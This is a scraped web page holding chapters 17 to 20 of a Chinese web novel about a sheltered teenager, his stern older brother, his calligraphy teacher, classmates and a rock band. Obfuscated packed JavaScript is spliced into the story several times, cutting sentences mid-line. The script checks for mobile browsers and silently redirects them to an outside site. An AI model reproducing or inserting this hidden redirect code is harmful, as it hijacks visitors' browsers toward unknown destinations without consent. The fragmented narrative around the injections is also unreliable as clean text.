l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126409|180070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心。 家里专门空出了一个房间堆放纪羽的玩具和收到的礼物。韩姨本该在六年前下户,怕纪羽伤心,心一软又留了下来。 纪羽或许自己也不知道,他已经习惯于用这种示弱的方式达成目的,并且百战百胜。 纪律看了他一会儿,才叫他。 “走了。” 开车路上纪律什么也没说,纪羽看车看手,偶尔偷偷看一眼纪律,什么都没看出来。 膳记的主厨今天失了手,招牌的芋头煲少了点滋味,纪羽尝了一点就没再伸筷子。纪律接完电话回来,纪羽就说他吃饱了。 一桌菜没动多少,纪律让人进来打包,纪羽就在门口等着。 “我想去学校上课。”纪羽拉开后座门上车。 “今天不行。” 纪羽忍了一会儿,积攒了一些勇气:“为什么不行,今天本来就要上课的。” “没有为什么。” “我要去学校,这是我的权利,你不可以干涉我!” 纪律又不说话,纪羽倒希望他发出一点嗤笑声,或者嘲讽他两句,他实在很难忍受这份寂静。 窗面落下雨花。宁海多日不见雨,突如其来的雨下得又急又猛。 顷刻间阴雨密布,豆大的雨滴砸在车身,车窗前是一片白茫。 雨下得太大,开车极不安全,纪律把车停在路边。 双闪灯有规律的嘀嗒声淹没在倾盆暴雨中。雨水像瀑布从后车窗淌下。 可纪羽还是觉得过于安静,纪律什么时候换了新的招式,他根本没有应对措施。 纪羽后悔坐在后座,因为只要纪律不转头,他就看不见纪律的脸,也无从辨别他的情绪。 就像几天前的深夜,纪律点燃香烟背对自己。 “你说话啊!”纪羽扒在主副驾的空隙里,伸手扒着纪律的衣服要他转身面对自己,他讨厌死了纪律没有回应的举动,认为这比纪律骂他一顿还难以忍受。 “我不是都处理好了吗,我就是摔一跤没有和你说,你不是说我长大了要自己处理不要再找你吗,你说的都随我,你干嘛对我冷暴力,我和你在说话,你尊重我呀!” 纪律解开安全带转向后排,却险些挨了纪羽一拳头,他抓住纪羽的胳膊,问他:“你哭什么,我什么时候让你受伤不告诉我了,我什么时候教你隐瞒了?” 纪羽的眼泪像泄了闸,源源不断地向外冒,纪律的手指和他的脸颊顷刻间濡湿一片。 “上次我发烧,你就骂我了!我和你好好说话,你就只回一两句,还说都随便我,我不告诉你怎么了?我就是不想和你说,你只会骂我凶我,现在是无视我!” 情绪一上来,纪羽就收不住,他打开纪律捏在他脸上的手,张开嘴哭嚎:“我烦死你了我烦死你了!干嘛要一直这样对我……我已经很乖了,我每天都学到好晚,我也好累好痛,我说了你要骂我,我不说你还要这样那样,你要我怎么样啊纪律,我不要你当我哥了……我烦死你了!” 他打了满腹稿的控诉全都忘了,只知道掉眼泪,说得颠三倒四语无伦次,车内的氧气都被他一个人深呼吸占去了。 他觉得自己是全天下最倒霉的人才遇上纪律做哥哥,纪羽怎么会那么倒霉! 17. 第 17 章 纪羽哭得刹不住车,喘口气就要骂两句,说纪律是花架子,资格证书都是买来的自己印的,要不然他怎么能当上律师! 又开始说纪泽兰回来一定会帮着他,带着他搬家搬到更大的房子里,就让纪律一个人住在家里,没有人愿意和他说话。 他不懂纪律为什么总是反复无常,一面催着他独立一面又把他当小孩看待,纪律怎么能对他这么傲慢又随心所欲? 但纪羽不知道要怎么反抗他,他找不到关窍,他什么也没有,如果纪律不关心他不在意他的感受,他什么办法也没有。 意识到这点,更深层次的无助与绝望开始席卷他。 眼泪像车窗外的大雨般倾泻而下,打得人毫无招架之力。 纪羽缩在车座里哭,得益于宽敞的后排空间,让纪律完全碰不到他。 泪水掉得比语气更凶,纪羽觉得丢脸,用手掌盖住脸: “等你、等你老了不能动的时候,我就把你丢进养老院,谁都不去看你……” 纪羽抽噎一下,继续说:“康年哥也肯定知道你的真面目和你绝交了,爸妈和我住一起,你一个人待在养老院孤独死你……你等着吧,你等着吧!” 纪羽好难受,因为他发现自己再努力好像也不能追上纪律的步调,就因为纪律比他早出生,也比他更聪明。 等到他二十八岁,纪律似乎也不会衰弱,他又健壮又有钱,就算是一天抽十包烟,医生也能治好他。 纪羽的呜呜声从指缝里传来:“这都不公平、不公平!一点也不好!” “别哭了。” 纪羽把手指并得紧紧的,不去看纪律,止不住地喘气,脸颊针扎似的痛。 眼泪滑进嘴巴,纪羽的嘴里是苦的,尝不出味道。 听到纪律说话,鼻腔又开始酸涩。 凭什么纪律质问他他就必须要回答,反过来纪律就可以什么也不说? 纪律也要和他说对不起,向他承认错误,对他服软。不可以只有纪羽在难过伤心,纪律却无动于衷。 雨水砸在车顶,像要凿出个洞。 纪律越来越看不明白纪羽。 纪羽到了叛逆期,反感他的管束,表现出越来越强烈的反抗,于是他放手,随纪羽去折腾,对纪羽破绽百出的神情视而不见,更不去深究他满是漏洞的回答。 他给了纪羽足够的时间与空间去证明自己,可纪羽距离独立还差着十万个光年的距离。 他看着纪羽藏无可藏地缩在车座里,掩耳盗铃地遮着脸,说的话却都是带着哭腔的颤抖,还像小时候那样不管不顾地大哭。 指望谁去哄他呢,哭得那么惨,好像发生了天大的没有任何挽回余地的事,以至于情绪已到了摇摇欲坠的边缘。 纪羽还是在哭,眼泪从手掌边缘滑落,纪律不知道他怎么能哭得那么久,有完全停不下来的趋势,他还说什么以后都不要他管,哭着噎到了又开始咳嗽。 纪律从前门下车,拉开车后门,湿润的水汽一瞬间向纪羽袭去,雨声噼里啪啦。 外套一瞬间便湿透了,纪律把它脱掉扔在车座下,把纪羽捞近,手掌遮住他的口鼻:“呼吸慢点,别哭了。” 纪羽的手掌被强硬地挤开,露出他湿漉漉的一张脸,眼里不断地滚出新的水珠。 他眼前一片模糊但还坚持瞪着纪律,伸手去推去打。 纪羽极少锻炼,一是身体状况难以稳定,二是懒。纪律怀疑他全身的骨头都是软的,要不然临近成年还是一副瘦弱的模样,和他记忆力孱弱的样子没有半分差别,好似纪羽永远不会长大。 或许纪羽到了三十岁,会变得不一样。但现在想这些,未免太过遥远。 侧脸到耳根一道刺痛,纪律看着纪羽举着手,指甲带着血渍没再激烈地挣扎,睁大了眼睛看他。 指甲还挺硬的。 纪羽终于平静下来,上身不再颤抖,扭着脸躲开纪律的手掌,雨水和眼泪混在一起,纪羽急于摆脱黏腻的感觉,抖着嗓子说:“我脸上好难受……” “你也知道难受。”纪律从侧方储物格取出毛巾按在纪羽的脸上。 纪羽又要哭了:“很痛!” 他像刚经历了一场马拉松,全身酸软,脸上又红又烫,精神不振,很可怜很辛苦似的,连根手指都抬不起来了。 完全不像刚把纪律的脸抓出血的样子。 纪律压着眉头,把毛巾叠了两下盖住纪羽半边脸,一点点蹭,才让纪羽重新活了过来。 “干什么?” 纪羽碰上纪律的侧脸,抽搭一下含糊地说:“出血了……” 纪律应了一声,不太在意,纪羽看着那半拃长的血痕,觉得要是自己被划破了脸,肯定不会善罢甘休,但纪律没有追究。 “我要去学校。”纪羽不忘初衷。 “今天不行。” 纪羽眼睛又开始泛红,纪律只好补充道:“晚上要去巴老师家。” 听到巴文旭的名号,纪羽条件反射地抖了下,嗓子发哑,声音很小:“一定要去吗?” “提前了三天打过招呼。”纪律说。 纪羽低头挤压手指尖,捏了又捏,脸红红的,眼睛也水汪汪,看着更显小了。 纪律叹了口气:“每次说要去就这样,之前不是说要跟着巴老师学一辈子,不去读书了?” “以前是以前,”纪羽抽抽鼻子,“你干嘛不提前告诉我。” 还说什么“没有为什么”,纪羽瞥一眼纪律,觉得纪律的体内住了两个人。 一个对他好一点,一个就是纯粹的恶魔。 恶劣的那个又顶了号,说:“让你像早上那样溜走,还是提前几天吃不下饭?” 纪羽讨厌他总是说实话污蔑自己,抢过沾了眼泪的毛巾按在纪律脸上:“那也都怪你!” 湿咸的眼泪沾到伤口,一点点的疼,只有纪羽会觉得这是反击报复。 “是我的错。” 纪羽收了手。 没想到纪律会认下,纪羽忍着再次从心底返上来的酸意:“本来就是你的错,全都是你的错,你要和我说对不起。” 纪律会对任何人道歉,会为了弥补自己的过失用尽一切手段,暂时放下尊严也并不是难事,唯独对纪羽,好像还是做不到这点。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16126410|180070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 四目相对,纪羽等待着,急切又忐忑。 他什么也没有等到。 纪律别开视线,拉开车门,回到驾驶座,雨势在不知不觉里减弱,雨丝极细极小,他重新启动车。 “回去休息一会儿,三点半出发。” 纪律用实际行动告诉他,认错是一回事,向纪羽道歉是另一回事,且是永远不可能的。 纪羽扭过身,抿紧嘴不回答。 “纪羽,”纪律从后视镜里看他,迟迟未踩下油门,“你可以不去,你自己决定。” “去!”纪羽不耐烦地甩下一句,把脸埋进竖起来的衣领紧闭上眼。 回到家里韩姨久违地给他煮了鸡蛋,不过叮嘱他千万不能吃,在眼睛上边滚一滚就丢掉。 纪羽觉得浪费,把鸡蛋黄抠出来丢进了纪律的皮鞋。 尽管很困,纪羽仍然没睡。他跑进备受冷落的书房,从书柜里翻出笔墨纸砚,落笔前手一个劲打颤,纪羽用力打了一下小臂才稳住。 屏气凝神,凝神落笔,一篇帖子临完,纪羽后背起了一层薄汗,他放下笔,提起宣纸背光打量。 还成,还成,应该看不出来他小半年没练过。 纪羽松口气,会写字就和会骑自行车一样嘛,就算隔了很久没练习,一上手自然就会了。 巴文旭问起来,他态度诚恳一点,总不会被训得太惨。一天练到手也抬不起来,头也不敢抬的日子都成为过去式! 纪羽重拾信心。 - 被迎进雕花老木门里,纪羽就没敢抬眼。 “长大了,心也野了,一年半载都不知道来看看我这个老头了!更别说提笔了吧?” “没有……”纪羽声若蚊呐,两手搭在身前紧紧抓着。 “抬头,挺胸!”巴文旭手掌拍在纪羽背后,“畏畏缩缩的像什么样子,看着我的眼睛说话。” 柳承或许都没想到,纪羽教他的一套,纪羽在小时候就学来了。 压着心虚,纪羽视线缓缓上移,从巴文旭留到胸前的花白胡子到他硬朗干瘦的下巴,直至像鹰隼般深邃的眼睛。 纪羽愣了愣,却不是因为怕。 “老师,你怎么老了那么多……” 上次见巴文旭,他还有点虚胖,看着勉强还算个和蔼的老人,现在那点肉掉下去,皮透骨,许多皱纹便显出来,人一瘦就压不住福,苦相重。 “纪羽。”纪律见他不知避讳,开口提醒。 巴文旭抬手制止:“人本来就是要老的,脸上看不出年纪,别人怎么知道我活七十多岁了!行了,到里面坐着说。 纪羽被他拉着走到里间,坐在红木沙发上,巴文旭上下打量他:“眼睛怎么了,红得跟灯笼似的。” 纪羽眼里的红血丝一时半会儿褪不了,他自以为隐蔽地瞥了一眼纪律,扁着嘴说:“我眼睛发炎了。” “不是掉猫尿就行!”巴文旭意有所指,“以前也不知道谁上课前一天哭一次,上课哭一次,回去再哭一次,一天掉眼泪水的时间比上课时间还多。” 纪羽吸鼻子:“老师不知道,我也不知道。” 18. 第 18 章 巴文旭说话难听,性格古怪,老伴和他过不到一块儿去,早二十年前就与他分居,平日只有儿女走动。 他一个人住,屋子里外收拾得很整洁,家具都是老人喜欢的老物件,保养得很好。架上堆满了书册和字画,怕让人糟蹋,巴文旭不大爱孙子孙女来他这儿瞎闹。 说起来,倒是纪羽算是他看着长大的。 也正是收了纪羽做学生,巴文旭才彻底绝了广开门庭,收徒纳贤的心思。 光是教纪羽一个,就把他气得饭也吃不下,觉也睡不着。 “手腕!手腕抬起来,来之前没吃饭呐,还是给你绑了秤砣在手上,一点力气也没有,教你十三年还不如教条狗,狗撒尿都比你点这几下有感觉!” 巴文旭声如洪钟,震得纪羽脑瓜子空白,抓着毛笔提在半空,看一眼宣纸,再瞄一眼巴文旭。 巴文旭气冲冲道:“看我干什么,我脸上有空你往我脸上写?” “没有。”纪羽呐呐,巴文旭脸上皱皱巴巴的,蚊子下脚的下一秒就被挤在沟壑里夹死了。 又看纪羽提笔写了几个字,勉强也看得过去,好歹纪羽半年没来还得多给点耐心,巴文旭深呼吸平稳情绪,问:“今天复查去了?十几岁的人身体比我个老头子还差,现在治好了没?” 纪羽屏息凝神绞转笔锋,一心二用道:“我好着呢。” 话音刚落,只听巴文旭从鼻孔哼出冷气,说道:“那你这心思没放在写字上,又搞些花里胡哨旁门左道的东西去了?把手伸出来我摸茧子。” 纪羽刚巧手腕酸软,忙放下笔递手过去:“喏,摸嘛。” “啧。”巴文旭在他指尖一一按过,光滑细软,连点死皮都没,再是摸到无名指,动手拍开,“写字的茧也没了,还敢给我摸。” “好痛,我好像写不了字了。”纪羽捂着手背叫,巴文旭斜他一眼:“就红了点,叫叫叫,一点苦都吃不了。” 纪羽委屈着:“纪律能吃苦,你怎么不教他嘛?” “他比你还笨,没有灵性,教了也是白教。” 巴文旭音量半点没压着,纪羽闻言喜滋滋去瞧坐在沙发喝茶的纪律,发觉他连手指都没动一下,无聊地撇撇嘴。 看他心不定,巴文旭也没叫他再练,赶他去洗手准备吃饭,省得浪费了他的笔墨。 纪羽被送来时年纪小,也是安稳不下来,什么都想摸一摸试一试,刚见了巴文旭就小心翼翼伸手要摸胡子,被巴文旭瞪了一眼坐倒在地上一言不发地生气。 没人理他,他就抹着眼泪自己站起来要走回家。 这十多年间,纪羽少说也逃跑过二三十次,但也一直没真正放弃过,写字也越来越像模像样。 前些年书法被纳入升学体系时,纪律还特意咨询过巴文旭,问纪羽能不能走这条路。 巴文旭回复说,能坚持不代表纪羽打心底喜欢,就算是喜欢,把它当成条道去走,那也不成。 晚饭是巴文旭自个儿做的,味道清淡,但纪羽吃了不少。临走前,巴文旭还将院里的葡萄都摘了,叫纪羽带回去。 “我一个老头又不爱吃这些,你不带走烂到地上谁给我清理!” 门哐当一声在两人身后合上。 厚重的云遮着月亮,车轮碾过湿滑地面留下滚动的痕迹,又被水渍覆盖, 车才走了一半路程,纪羽就拍着驾驶座闹着要下车。 才停稳,纪羽就从车上飞奔下,蹲在下水道口把吃下去的东西吐了个干净。 吐完又嫌脏,蹲着向边上挪,腿却麻了,眼看着就要倒地,纪律一把把他拽起来,扶住他。 “吃那么多干什么。” 巴文旭做了不少纪羽小时候爱吃的菜,到了餐桌上纪羽像小猪似的,一个劲地把饭菜塞进肚子里。 纪羽原本低着头,看到地上的残渣又犯呕,把脸蹭在纪律胳膊上:“你又不懂……” “纪羽,别用我衣服擦嘴巴。” 把纪律的衣服毁了,纪羽还张口要求:“我要喝水。” 纪律怕他再作怪,水拧了瓶盖喂他嘴边。纪羽漱了口,指挥纪律用剩下的水清理了地上痕迹,蹲在路边还是不肯走。 “你走不走?”纪律作势上车离开。 “……” “纪羽。” 纪羽头也不抬,迫害地缝里的杂草。 不明白又出了什么差错,纪律折返回去,投下的影子盖住了纪羽:“又闹什么脾气。” 纪羽不作答,纪律只当他白天的情绪还没过,俯身捏了下他的耳垂:“有事回去吃了药再商量,听话。” 纪羽吐得头晕,攀着他的手臂站起来,纪律才注意到他手腕上不知什么时戴了串朱砂手链,盘了几圈,仍旧松松垮垮地挂在腕骨,“爸妈什么时候回来啊,我都快生日了。” “还有手续在走。”纪律装作没看见纪羽把泥巴擦在他袖口,“巴老师送你的礼物?” 纪羽语气轻飘飘,像浮在半空中:“对呀,只给我一个人的。” “老师说,这个是替我驱邪的,”他特意把手腕露出来到纪律面前晃,“可以保佑我平安健康。” 纪律一贯不信这些虚无缥缈的寓意,但看那手串成色,确实是好东西。 “那你好好收着。” “啊——”纪羽被卡着腋下塞进车里,啪地倒进后座。 他像喝醉酒似的晕乎乎:“不要开太快,我会想吐。” 车辆平稳前进,他又说:“不要吃我的葡萄,那是老师给我的,不给你吃。” 路灯一盏盏路过车窗,后座又传来纪羽的埋怨声:“都怪你以前总罚我练字,给我造成了心理阴影,其实老师一点都不可怕,是你对我的伤害比较大……” 纪羽把心口的担子扔了又扔,总算松快了,迷迷糊糊地躺在座椅上睡着,连怎么进的家门都忘了。 翌日早上下了大雨,纪羽勉强又搭了纪律的车上学。刚进教室他就看到展舒文在座位上。 他快步走过去,很焦急地问:“你怎么变成黑头发了!” 展舒文三指扶住镜框上抬:“黑发才是我的原生发色。” “你不要再装酷了,”纪羽摸她的头发,“你被领导抓了吗,发尾都分叉了。” 他只离开一天,居然就发生了这种事,实在叫人痛心疾首! 在纪羽关切的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16126411|180070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神下,展舒文淡淡开口:“昨天下暴雨,我没撑伞,头发掉色了,有人以为我在流血,晕血睡着了。” 为对这场“重大事故”负责,展舒文决定暂时放弃红发。 “哦……没受处分就好。”纪羽放心了,走回座位去,走到一半折返回来,“你最后一句是冷笑话吗?” 还以为被无视了,展舒文惊喜地点点头。 纪羽淡淡地说:“不是很好笑。” 真没有幽默细胞,展舒文用中指上推镜框:“滚蛋。” 雨天教室闷,风扇开了低档,悠悠转动。 贺思钧看着纪羽进门,径直穿过他身侧,向展舒文打过招呼后回来坐下。 “早上好。”贺思钧说。 “嗯。”纪羽随口应道,从书桌里掏试卷。 “昨天讲评过的作业我给你改过了,布置的作业我写在草稿纸上,夹在你的地理课本里。复查结果还好吗?” “你怎么知道的?”连纪羽本人都是被临时通知,贺思钧怎么知道的? 贺思钧面不改色:“我算了下时间,差不多就是这几天。” 纪羽哼哼两声:“那你真会算。” 贺思钧还想再问问他摔伤好全了没,纪羽拿着水杯噔地站起来,贺思钧也站起来。 纪羽回头看他一眼:“你坐下。” 贺思钧坐下了,看着纪羽噌噌噌独自出了后门。 应该是好了。 纪羽走在半路,肩膀一重,偏头一看就是梁子尧放大的脸,神态充满怨念。 “干嘛,别搭着我,你好重。”纪羽胳膊向后画圈把他打开,梁子尧又从另一边贴上来。 “你昨天怎么又不在,亏我还带了好东西想送给你。” “我又没让你送我。” 换了别人送个礼物还受这脸色,怕是直接丢了也不给了,更别说还挂个笑脸。 梁子尧显然不是普通人,脸上笑吟吟的,看着纪羽的侧脸服软:“是我偏想送你,行不行?” 纪羽不为所动,梁子尧一路跟着他到接水处,水流落进杯底清脆地响,纪羽带着一点被宠坏的骄矜语气说:“你要送我什么啊?” 梁子尧这时候又卖关子:“等上课再给你看。” 纪羽翻他白眼:“切,那我不要了。” 梁子尧依旧笑嘻嘻地说:“我一下课就过去,保证很有意思。” 其实纪羽也没多在意梁子尧要送他什么,他从小到大收到的礼物海了去了,不算其他人的,光是纪泽兰和徐梁出差带回来的伴手礼,就够纪羽每天拿着拆不重样。 但梁子尧偏偏要吊他胃口,让纪羽很不爽,他就准备等着梁子尧来了,把东西呈上来,他再说不感兴趣以示报复。 比起梁子尧的礼物,他更想纪泽兰两人早点回来,他已经想好了生日当天要穿什么样的衣服,并怎么样说服徐梁给他买一个蛋糕尝尝。 纪羽整整一上午除了上课都心不在焉,贺思钧和他说了几句话也没认真听。 眨眼到了下午,下课铃响过第三声,梁子尧就噌地窜进十七班,手里拿着什么东西,站在纪羽课桌旁问道:“猜猜我要送你的是什么?” 19. 第 19 章 “不猜。” 纪羽的冷酷无情显然并不影响梁子尧的热情,他仍坚持引导:“是可以发声的一种东西。” “那不就是乐器。” 梁子尧笑道:“猜对了。” 他从身后掏出一个巴掌大的玩意儿,像是非常渴望得到反馈般紧盯着纪羽的神情,声音放轻放缓:“我做的小吉他,你看,真能发出声音,可以弹的。” 之间在琴弦上轻扫一下,果然能发出声音来,音质说不上多好,但有这么一个小乐器拿着把玩,也挺有意思的。 听到声儿,旁边有人围上来:“这从哪儿来的,还能响呢,给我玩玩呗。” “哪家店买的啊,我也想买一个给我妹,她最近吵着要学电吉他呢,成天比个摇滚手势。” “人家自己做的,你也自己动手弄一个啊。” “我没时间,我很忙的。” “你忙啥呀,物理四十七分,啥时候能及格啊,多做点手工活,对脑子好。” “你不说话没人拿你当哑巴!” 平日里上课枯燥乏味惯了,一有些新奇玩意儿众人都凑热闹地挤过来看看,七嘴八舌的。 有人想蹭到离纪羽更近的过道去,却见贺思钧脸色发沉,心下发怵,哼着歌溜远了。 梁子尧摆手道:“这是我送纪羽的,你们想要啊?”他环视一圈,挑起一个找打的笑:“那就想着吧。” 央求又调转了方向。 “纪羽,你玩腻了给我玩一下,晚自习太无聊了。” “你蠢x啊,晚自习都没声音,你玩一下不就被发现了,我预定明天早上早操,我一边奏乐一边前进,咱们就跟游行乐团一样,帅不帅?” “你咋不拿大鼓敲,肾虚没劲?” “怎么说话的,吉他才符合我高雅又自由浪漫的气质。” 从刚才起就一直默然不语的纪羽突然说:“这是贝斯,不是吉他。” “是吗,”梁子尧满脸诚恳虚心求教,“我不懂这些,是跟着网上的就教程随便做的。贝斯和吉他有什么区别吗?” “你自己不会上网查吗。” 纪羽表情不咸不淡,周围人也从未见过他这副表情,冷淡挑剔,带着点不耐烦,好像天生就该受人服侍讨好,不由自主地噤了声,退开几步小心翼翼地观察着两人的互动。 梁子尧不知哪里触了他楣头,当众被下了面子也不恼,仍是说:“那我回家好好补补功课,这个,你先拿着玩,回头我再做个更好的贝斯给你。” “我不要。” “我做了好久呢,”梁子尧可怜兮兮的,“你哪里不喜欢?” 纪羽目光自上而下打量,缓缓说:“我哪里都不喜欢。” 梁子尧耸耸肩,有些尴尬般自我开脱:“那好吧,我再修炼修炼。” 修炼什么,修炼自己的手艺,还是讨好人的本事啊?纪羽明摆着就是看他不爽,没见过这种上赶着吃脸色的人。 这样的贱脾气,还真是少见,假装不经意路过的人拼命传递眼神,今天的话题又有着落了。 还没看个尽心,预备铃猝不及防打响,剩下还没走班的人急哄哄地离开,梁子尧这次挑了个角落的位置坐下。 那小巧的贝斯却还留在纪羽的桌面上,纪羽盯着它,眼神充满攻击性,冒着火光,像看到了什么平时未见的讨厌的东西,既嫌它碍眼,也不想碰它。 “贺思钧,你还不走吗,快迟到了!” 好心的同学在门口高声提醒贺思钧,不知道贺思钧一直待在位置上一动不动干什么。 贺思钧应了一声,起身,却在同学焦急等待的目光中走到纪羽身边,俯身说了什么。 纪羽看起来像被他激怒了,手上抓了东西就往贺思钧身上砸,贺思钧躲也不躲看着纪羽,像极了被激怒后的对峙,东西噼里啪啦落到地面。 过了几秒,纪羽张口说了两句话,贺思钧从地上捡起什么就大跨步走到后门,把东西丢进垃圾桶。 同学跟着贺思钧走出两步,还是按捺不住好奇心,向贺思钧问道:“你和纪羽说什么了?” 贺思钧面容冷静:“没什么,我问他要不要替他丢垃圾,他同意了。” “哦哦。”同学讪笑两声,觉得这两人越发古怪。 他分明看到掉进桶里的,是梁子尧送给纪羽的贝斯。 - 纪羽的心情很差,就算是雨后天晴,出现难得一见的彩虹,伴着火烧云极其瑰丽壮观也无法挽救。 走在出校门的路上,他也没心思仰头欣赏,柳承亦步亦趋地跟着他,看看他的脸色,再抬头看看天,时不时向后张望下贺思钧跟上他们没有。 柳承最近才征得他妈同意,免上晚自习,心里压力减轻不少,面上看着也活泼了。 他是单亲家庭,他爸早年还活着的时候酗酒,整日里郁郁不得志,也不去找个班上,成天长吁短叹怨天尤人。某日他爸终于被自个儿老婆骂醒,清醒过来准备出门找个班上,结果才走两步,脚下一滑后脑勺摔在台阶上,就这么死了。从此家里就剩了仨人。 柳母一人挣钱养活全家,柳承想打工减轻家用却被骂了个狗血淋头。柳母没念过几年书,但也知道学习好出路才好,让他一切都以学业为重。 现在能有机会在晚饭时间回家做顿饭,分担点家务,对柳承来说也是高兴的,他静得下心来,在哪学都是一样的。 纪羽注意到他的视线,缓和了脸色,轻声说:“你不是赶着回家吗,还不走快点,错过公交车怎么办?” 柳承经他提醒也有点着急,家门口菜摊散场早,再晚点去就该只剩烂菜帮子了,忙不迭快走两步,倒不忘回头念叨两句。 “别不高兴了,我明天摘梨给你吃,可甜了。” 纪羽点点头,柳承心满意足地快步追赶公交去。 看着人走远,纪羽听着身后越来越近的脚步声,心里又烦闷起来。 他本来打算今天留校参加晚自习的,但下课铃一响,身体比脑子还快,反应过来时他已经收拾好书包下楼了。 反正都已经向纪律暴露了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16126412|180070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也没必要再和贺思钧躲起来养伤,虽然他确实很想试试出租屋里新到的沙发,但人至少都有些气节,不能让习惯打败他的意志。 要不干脆掉头回去算了,到小卖部买个面包吃也没事,他又不是过敏体质,随便吃一顿也不会怎么样。 但已经走了那么多路了,再走回去多累啊…… 纪羽埋头走着,耳边听见一道声音叫他: “纪羽?” 纪羽还当是贺思钧追上来了,压着气不耐烦道:“不是让你别和我说——老麦、你怎么在这……” 纪羽说到后头声音卡了壳,音调也越来越低。 老麦抱臂垂眼睨着他,天气转凉,他还穿着一件黑色短袖,露出胳膊上一大块刺青,接送的家长都站得离他远远的。 纪羽才发现他不知不觉已经走出了校门,后知后觉地捂住胸口的姓名牌。 贺思钧这时才站到他身前,微微侧身挡住了他:“老麦,你为什么在这儿?” 老麦哼哧一声,像被气笑了:“你们俩倒是有默契。” 他放下胳膊,手插进破洞牛仔裤兜:“走吧,找个地方聊一聊。” 纪羽带他去了自己最喜欢的饭馆,老麦做主点了几个菜,贺思钧去了两道纪羽吃不了的,老麦啐他一口说:“老子买单,小气什么。” 贺思钧就又加了几道招牌菜,特意叮嘱了忌口,桌面上摆得满满当当。 老麦的脸色黑了又黑,闷不吭声塞了两碗米饭下肚,才稍缓和些面色放下筷子。 “我们倒是都被你们蒙在鼓里了,都不知道大名鼎鼎的我们阿雀还是个高中生,你今年高一还是高二?” 纪羽抬眼瞄一眼他的脸色,又迅速敛下睫毛:“我高三了……” 贺思钧没有轻易开口,静坐一旁,时刻关注着老麦的神态动作。 “哦——”老麦一哂,“高三确实很重要啊,人生的分叉口,未来还有无限可能呢是吧,我看你们学校标语上还写什么拼一年春夏秋冬,搏一生无怨无悔。用一年换一辈子无怨无悔啊,多好的事儿。” 纪羽微低着脸,肤质细腻,脖颈细白,衣领干净整洁,从他的角度看,显得无辜又天真,他从前怎么就信了纪羽没在上学了的鬼话。 他就没见过哪个自己打工生活的人还长成这矜贵模样,身边还等着一个保镖似的朋友。 合着贺思钧是个陪读,他纪羽就是个大少爷游戏人间来了。 玩够了,也该收心回去好好学习天天向上,争取早日继承家业了。 老麦心浮气躁,从口袋里掏烟盒,抖几下倒出根烟来衔上,刚要点着,旁边伸出只手把他打火机火掐了。 贺思钧冷着张死人脸:“室内禁止吸烟。” “他娘的,”老麦把烟摔到桌上,“阿雀,你就没什么要和我解释的?” 他又改回称呼叫他阿雀,纪羽抬起头来,看到老麦的眼睛死死抓住他不放:“当初只有老子一个人坚持你会来,结果呢,如果不是被我撞见,你还要躲到什么时候才联系我?” 20.第 20 章 老麦仍能记起当天的每一个细节。 乐器的轰鸣仍在持续,音浪震得人五脏六腑发痒,台下的尖叫一阵接一阵。 后台也没好到哪去,所有人都在扯着嗓子对话。 “卧槽,玩重金属的能不能自己办个比赛,那主唱都快在台上劈叉了!” 老麦听不清:“你说什么,我听不清!联系上阿雀没有?” “没接通!老麦,好配个助听器了!”吉他手主唱辽光气沉丹田大吼,震得路过工作人员停下来瞪大眼睛看他。 辽光双手合十聊表歉意,继续对老麦吼道:“你确定他会来?还有半个小时不到就上场了,咱们乐队真要出名了,没有贝斯手的乐队!牛逼!” “闭嘴!”老麦丢出鼓槌砸他脑袋,“再敢在台上捡拨片老子锤死你。贝旬,你给他打电话,辽光被他拉黑了也说不定。” 贝旬“哦”了一声,老老实实走到通道去拨电话,没多久就回来了:“没接。” 此时台前随着一声重响,欢呼声穿透场馆内外,更衬得候场区气氛冷凝。 辽光抱臂望着老麦:“现在怎么办,让贝旬替他?” “再等等!” “还等?等到什么时候,等到上场再做决定?我们要把希望寄托在他一个人身上是吗,当初组建承风的时候你就该意识到,他和我们不是一类人。” 老麦闭上眼喉结上下滚动:“他没必要在决赛的时候干这种事。” “是不是决赛对他来说重要吗,如果他要来,他早该来了!这场比赛,只对你,对我,对贝旬有意义。” 老麦把目光投向贝旬,贝旬没有看他,指甲修剪得极短的指尖落在合成器:“五分钟搞定,其他的你们改。” 辽光拨动琴弦,叹口气:“还以为今天能solo把大的呢。” 事已至此,意志改变不了事实,只能尽全力补救缺漏。 老麦离开墙壁,直起腰,说:“那就尽量改吧,能上场就赢了。” 辽光撇嘴笑了一下:“那是,上了场就给奖金啊。” 